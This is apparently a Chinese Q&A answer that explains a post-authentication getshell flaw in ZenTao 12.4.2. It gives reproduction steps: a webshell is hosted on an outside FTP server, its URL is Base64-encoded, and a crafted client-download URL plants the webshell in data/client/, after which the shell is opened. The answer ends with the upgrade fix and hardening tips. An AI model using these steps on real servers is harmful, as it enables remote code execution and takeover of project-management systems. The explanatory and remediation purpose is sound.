禅道12.4.2后台管理员权限Getshell是怎样的

禅道12.4.2后台管理员权限Getshell是怎样的
最新回答
最终心酸

2022-03-27 13:04:27

禅道12.4.2后台管理员权限Getshell的原理及过程如下

漏洞成因
禅道12.4.2版本的client类中download方法存在过滤不严谨问题,攻击者可利用FTP协议绕过文件下载限制,将恶意PHP文件上传至服务器可解析目录(如data/client/),最终实现Getshell。该漏洞的核心在于:

  1. 任意文件下载漏洞:download方法未严格校验文件来源,允许通过FTP协议下载文件。
  2. 目录可解析PHP:下载路径指向的目录(如data/client/)默认支持PHP脚本执行,导致上传的Webshell可直接被解析。

漏洞复现步骤

  1. 环境准备

    部署禅道12.4.2至PHP环境(如phpstudy2018),配置数据库并完成安装。

    开启FTP服务(以Windows 2008 R2为例),在IIS中添加FTP站点,并确保可访问。

    将恶意PHP文件(Webshell)上传至FTP目录。

  2. 构造恶意链接

    将FTP路径(如ftp://192.168.3.200/shell.php)进行Base64编码,得到ZnRwJTNBLy8xOTIuMTY4LjMuMjAwL3NoZWxsLnBocA==。

    使用EXP工具或手动构造请求,将编码后的字符串嵌入URL:

    http://127.0.0.1/zentaopms/www/index.php/client-download-1-<Base64
    编码>-1.html

  3. 触发漏洞

    访问上述URL,禅道会通过FTP下载恶意文件并存储至data/client/1/目录。

    访问

    http://192.168.3.200/zentaopms/www/data/client/1/shell.php
    ,若返回Webshell执行结果,则说明攻击成功。

修复方案
升级至禅道12.4.3及以上版本:官方已修复该漏洞,通过加强download方法的输入校验,禁止FTP协议下载并限制文件存储路径的解析权限。

注意事项

  • 漏洞利用需管理员权限,实际攻击中可能结合其他漏洞(如越权或SQL注入)获取权限。
  • 建议关闭FTP服务或限制其访问权限,避免暴露在公网。
  • 定期更新禅道版本,并检查data/client/目录是否存在异常文件。